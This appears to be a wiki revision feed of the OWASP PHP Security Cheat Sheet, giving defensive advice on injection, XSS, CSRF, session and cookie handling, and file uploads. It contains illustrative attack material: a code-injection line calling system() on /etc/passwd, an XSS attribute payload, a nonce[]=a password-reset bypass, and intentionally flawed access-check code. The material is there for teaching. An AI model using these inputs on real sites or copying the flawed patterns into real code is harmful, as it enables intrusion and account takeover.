    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182868</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182868"/>
				<updated>2014-09-25T07:39:01Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
then we end up with &amp;lt;code&amp;gt;$supplied_nonce&amp;lt;/code&amp;gt; being an array. The function &amp;lt;code&amp;gt;strcmp()&amp;lt;/code&amp;gt; will then return &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt; (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; (equality) operator instead of the &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; (identity) operator, the comparison succeeds (since the expression &amp;lt;code&amp;gt;NULL == 0&amp;lt;/code&amp;gt; is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.&lt;br /&gt;
&lt;br /&gt;
====Template language====&lt;br /&gt;
&lt;br /&gt;
PHP is essentially a template language. However, it doesn't do HTML escaping by&lt;br /&gt;
default, which makes it very problematic for use in a web application - see&lt;br /&gt;
section on XSS below.&lt;br /&gt;
&lt;br /&gt;
====Other inadequacies====&lt;br /&gt;
&lt;br /&gt;
There are other important things that a web framework should supply, such as a&lt;br /&gt;
CSRF protection mechanism that is on by default. Because PHP comes with a&lt;br /&gt;
rudimentary web framework that is functional enough to allow people to create&lt;br /&gt;
web sites, many people will do so without any knowledge that they need CSRF&lt;br /&gt;
protection.&lt;br /&gt;
&lt;br /&gt;
===Third party PHP code===&lt;br /&gt;
&lt;br /&gt;
Libraries and projects written in PHP are often insecure due to the problems&lt;br /&gt;
highlighted above, especially when proper web frameworks are not used. Do not&lt;br /&gt;
trust PHP code that you find on the web, as many security vulnerabilities can&lt;br /&gt;
hide in seemingly innocent code.&lt;br /&gt;
&lt;br /&gt;
Poorly written PHP code often results in warnings being emitted, which can cause&lt;br /&gt;
problems. A common solution is to turn off all notices, which is exactly the opposite&lt;br /&gt;
of what ought to be done (see above), and leads to progressively worse code.&lt;br /&gt;
&lt;br /&gt;
==Update PHP Now==&lt;br /&gt;
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''&lt;br /&gt;
&lt;br /&gt;
Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.&lt;br /&gt;
&lt;br /&gt;
=Configuration=&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP is strongly affected by configuration, which can be done through the &amp;quot;php.ini&amp;quot; file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php&lt;br /&gt;
&lt;br /&gt;
There are many security related configuration options. Some are listed below:&lt;br /&gt;
&lt;br /&gt;
==SetHandler==&lt;br /&gt;
&lt;br /&gt;
PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name &amp;quot;foo.php.txt&amp;quot; will be handled as PHP code, which can be a very serious remote execution vulnerability if &amp;quot;foo.php.txt&amp;quot; was not intended to be executed (e.g. example code) or came from a malicious file upload.&lt;br /&gt;
&lt;br /&gt;
=Untrusted data=&lt;br /&gt;
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.&lt;br /&gt;
&lt;br /&gt;
Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).&lt;br /&gt;
&lt;br /&gt;
==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
